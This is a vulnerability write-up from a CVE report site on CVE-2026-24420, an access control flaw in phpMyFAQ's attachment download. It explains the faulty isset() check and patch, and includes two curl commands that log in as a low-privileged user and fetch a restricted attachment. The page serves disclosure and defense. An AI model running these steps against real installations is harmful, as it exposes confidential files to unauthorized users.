CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-24420

CVE-2026-24420: When `isset()` Becomes a Backdoor in phpMyFAQ

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 24, 2026·5 min read·52 visits

Executive Summary (TL;DR)

phpMyFAQ v3.2.x and early 4.x contains a Broken Access Control vulnerability. The application checks if a permission key *exists* rather than if it is *true*, and prioritizes group permissions over user restrictions. This allows any authenticated user to download restricted attachments.

A logic flaw in phpMyFAQ's permission system allows authenticated users to download attachments they explicitly shouldn't have access to, thanks to a misuse of PHP's `isset()` function and flawed boolean algebra.

The Hook: The False Sense of Security

phpMyFAQ is the bread and butter of internal knowledge management. It stores everything from "How to reset your password" to "Network Architecture Diagrams" and "HR Disciplinary Procedures." Naturally, administrators rely on its permission system to ensure that the intern, Dave, can't read the executive salary breakdown attached to a finance FAQ.

But security is only as strong as its weakest conditional check. CVE-2026-24420 is a stark reminder that in the world of PHP, asking "Does this variable exist?" is a very different question from "Is this variable true?" This vulnerability turns the application's access control model into a suggestion rather than a rule, allowing restricted users to loot attachments with trivial ease.

The Flaw: Boolean Algebra is Hard

The vulnerability stems from two distinct failures in attachment.php that combine to form a perfect storm of incompetence. The first is a classic PHP footgun: the misuse of isset(). The developers tried to verify if a user had the dlattachment (download attachment) permission. However, they checked isset($permission['dlattachment']).

Here lies the rub: in the permission array, the key dlattachment almost always exists. If a user is denied access, the value is set to 0 or false. But isset(false) returns true because the variable is set. It's like checking if a door exists before walking through it, rather than checking if it's locked.

The second failure is a violation of the Absorption Law in Boolean algebra. The code used logic resembling (Group || (Group && User)). If you passed Math 101, you know that A + AB simplifies to just A. This meant that if a user belonged to a group with download rights, the system completely ignored any specific restrictions placed on that individual user. The code effectively decided that the group's rights were the only thing that mattered, rendering granular user controls useless.

The Code: The Smoking Gun

Let's look at the vulnerable code found in attachment.php. This snippet is a masterclass in how not to do access control:

// The Vulnerable Logic
if (($groupPermission || ($groupPermission && $userPermission)) && isset($permission['dlattachment'])) {
    // Come on in, the water's fine!
    $download = true;
}

See that isset() at the end? That is the kill switch for security. Even if $permission['dlattachment'] is explicitly false (meaning "ACCESS DENIED"), isset() evaluates to true. Combined with the redundant grouping logic, the gate flies open.

The fix, introduced in v3.2.14, forces the application to actually check the value of the permission, not just its existence:

// The Patched Logic
if (($groupPermission && $userPermission) && 
    !empty($permission['dlattachment']) && 
    $permission['dlattachment'] === true) {
    // Actually secure
}

The patch also fixes the grouping logic. Now, both the group AND the user context must align, and the permission must be strictly true.

The Exploit: Smashing the Window

Exploiting this requires zero fancy tools. You don't need to overflow a buffer or manipulate heap chunks. You just need a valid login and curl. Since the isset() check fails open, any authenticated user—even one with the "Download Attachments" box unchecked—can grab files.

Here is the attack flow. First, we authenticate as a low-privileged user (Dave the Intern):

# Step 1: Login to get the session cookie
curl -c cookies.txt \
  -H 'Content-Type: application/json' \
  -d '{"username":"dave","password":"password123"}' \
  http://target.local/phpmyfaq/api/v3.0/login

Once we have our session, we simply request the attachment directly by ID. The application sees our valid session, sees the dlattachment key exists in our permissions array (even though it's false), and serves the file:

# Step 2: Download the sensitive attachment (ID 1)
curl -i -b cookies.txt \
  -o secret_salary_data.pdf \
  "http://target.local/phpmyfaq/index.php?action=attachment&id=1"

If the server returns a 200 OK and binary data instead of a 403 Forbidden, you've successfully bypassed the access control.

The Impact: Why This Matters

While "FAQ" sounds benign, the data stored in these systems often isn't. Organizations use tools like phpMyFAQ to document internal processes, which frequently involve sensitive attachments: network topology maps, VPN configurations, credential dumps for testing environments, or confidential HR documents.

Because this vulnerability is an authenticated bypass, it is particularly dangerous in Insider Threat scenarios. It allows a disgruntled employee or a compromised low-level account to silently scrape the entire repository of attachments without triggering typical "access denied" alarms in the logs, effectively turning the knowledge base into an open file server.

The Fix: Shutting It Down

The remediation is straightforward: stop using the vulnerable logic. The vendor released phpMyFAQ v3.2.14 (and similar patches for v4.x) to address this.

If you cannot upgrade immediately, your only real mitigation is to disable attachments globally in the configuration (records.allowDownloadsForGuests is irrelevant here since we are authenticated). However, given the trivial nature of the exploit, applying the patch manually to attachment.php is feasible for competent sysadmins.

> [!NOTE] > After patching, audit your access logs for requests to action=attachment. If you see a high volume of downloads from a single user who shouldn't be accessing those IDs, you might have already been scraped.

Official Patches

phpMyFAQRelease notes for version 3.2.14 fixing the issue

Fix Analysis (1)

Technical Appendix

CVSS Score
6.5/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Probability
0.10%
Top 100% most exploited
1,500
via Shodan

Affected Systems

phpMyFAQ

Affected Versions Detail

Product
Affected Versions
Fixed Version
phpMyFAQ
phpMyFAQ
<= 3.2.133.2.14
AttributeDetail
CWECWE-284 / CWE-862
CVSS v3.16.5 (Medium)
Attack VectorNetwork (Authenticated)
ImpactConfidentiality Loss
Privileges RequiredLow (Any valid user)
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1213Data from Information Repositories
Collection
T1596Search Open Technical Databases
Reconnaissance
CWE-284
Improper Access Control

The software does not properly check permissions for a resource, or performs the check incorrectly, allowing unauthorized actors to access the resource.

Known Exploits & Detection

Internal ResearchThe PoC is trivial: authentication followed by a direct GET request to the attachment endpoint.
NucleiDetection Template Available

Vulnerability Timeline

Vulnerability discovered by internal audit
2026-01-05
Vendor releases patch v3.2.14
2026-01-23
CVE-2026-24420 assigned
2026-01-23

References & Sources

  • [1]GHSA Advisory
  • [2]Official Vendor Site

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•12 minutes ago•CVE-2026-115908
7.4

CVE-2026-115908: Arbitrary File Write via Lexical Symlink Validation Bypass in Rust zip Crate

CVE-2026-115908 (GHSA-hjqx-j4rw-g7xv) is a high-severity path traversal and link-following vulnerability in the Rust zip library (zip-rs/zip2) affecting versions >= 7.2.0 and < 9.0.0. Because ZipArchive::extract and ZipArchive::extract_unwrapped_root_dir validate symbolic link targets solely via lexical prefix comparisons rather than resolving intermediate filesystem links, an attacker who knows or can guess the absolute extraction path can construct multi-hop symlink chains that escape the destination directory, enabling arbitrary file creation and overwrite with the privileges of the extracting process.

Amit Schendel
Amit Schendel
0 views•10 min read
•about 1 hour ago•CVE-2026-115907
7.5

CVE-2026-115907: Denial of Service via Excessive Memory Pre-allocation in Rust zip Crate Legacy Decoders

CVE-2026-115907 is an uncontrolled resource consumption vulnerability in the Rust zip crate (versions 5.1.0 through 8.6.0, and 9.0.0 pre-releases) when compiled with the optional legacy-zip feature flag. The vulnerability resides in the legacy decompression decoders—Shrink, Reduce, and Implode—which directly pass an archive-declared 64-bit uncompressed size from a ZIP64 extended information extra field to Vec::reserve() before validating the compressed data stream. By supplying a malformed ZIP archive with a declared uncompressed size exceeding isize::MAX (such as u64::MAX), an unauthenticated attacker can trigger an unhandled capacity overflow panic in the Rust standard library allocator, terminating the calling thread or aborting the entire process.

Alon Barad
Alon Barad
2 views•12 min read
•about 2 hours ago•GHSA-VPP8-G58W-M8MP
7.5

GHSA-vpp8-g58w-m8mp: HTTP/2 Rapid Reset Denial of Service in Twisted Web

Twisted versions up to and including 26.4.0 are vulnerable to an unauthenticated remote denial-of-service attack via the HTTP/2 Rapid Reset technique (a variant of CVE-2023-44487). The HTTP/2 connection handler in twisted.web processes pipelined HEADERS and RST_STREAM frames sequentially within the same TCP segment. Because the request dispatch and synchronous rendering occur upon receiving the StreamEnded event before the subsequent StreamReset event is evaluated, an attacker can force the server to expend CPU cycles rendering responses while immediately evicting stream state to bypass concurrent stream limits.

Alon Barad
Alon Barad
7 views•8 min read
•about 3 hours ago•CVE-2026-118664
8.2

CVE-2026-118664: Quadratic Complexity Denial of Service in decode-uri-component

An inefficient algorithmic complexity vulnerability exists in the npm package decode-uri-component prior to version 0.5.1. When processing malformed URI strings containing invalid percent-escape sequences, the library falls back to a custom decoder that collects distinct percent-encoded runs into a dictionary and executes a full-string regular expression replacement for each entry. Supplying a payload with thousands of distinct percent-encoded sequences alongside a malformed escape triggers quadratic O(K * L) execution time, starving the single-threaded Node.js event loop and resulting in an unauthenticated Denial of Service.

Amit Schendel
Amit Schendel
4 views•9 min read
•about 4 hours ago•CVE-2026-115921
6.2

CVE-2026-115921: Null Pointer Dereference and Integer Conversion in ONNX ScanInferenceFunction

Open Neural Network Exchange (ONNX) versions 1.4.0 prior to 1.22.0 contain a null pointer dereference (CWE-476) and a signed-to-unsigned integer conversion error (CWE-195) in the shape inference functions for the Scan operator. When processing an untrusted ONNX model, the functions ScanInferenceFunction, ScanInferenceFunction_opset8, and ScanInferenceFunction_opset9 fail to validate the presence and value of the required num_scan_inputs attribute. Omitting the attribute results in a direct null pointer dereference that crashes the host process via SIGSEGV, while supplying a negative value triggers an integer wrap-around during type narrowing that leads to an unhandled allocation failure. Notably, models containing a negative num_scan_inputs value bypass standard validation via onnx.checker.check_model().

Amit Schendel
Amit Schendel
4 views•9 min read
•about 5 hours ago•CVE-2026-91403
9.1

CVE-2026-91403: Cryptographic Trust Validation Bypass in Oracle Java SE JSSE via Compromised eMudhra Intermediate CAs

CVE-2026-91403 is a critical cryptographic trust validation flaw (CWE-327) in the Java Secure Socket Extension (JSSE) component of Oracle Java SE, Oracle GraalVM, and OpenJDK builds. Triggered by the compromise of private signing keys for eight intermediate Certificate Authorities operated by eMudhra (emSign), unpatched Java runtime environments implicitly trust fraudulent TLS and code-signing certificates issued by these compromised intermediates. Because Java disables online certificate revocation checking (OCSP/CRL) by default, an unauthenticated network attacker in an Adversary-in-the-Middle (AiTM) position can intercept, decrypt, and modify encrypted TLS communications or bypass code signature verification without triggering security exceptions.

Alon Barad
Alon Barad
7 views•12 min read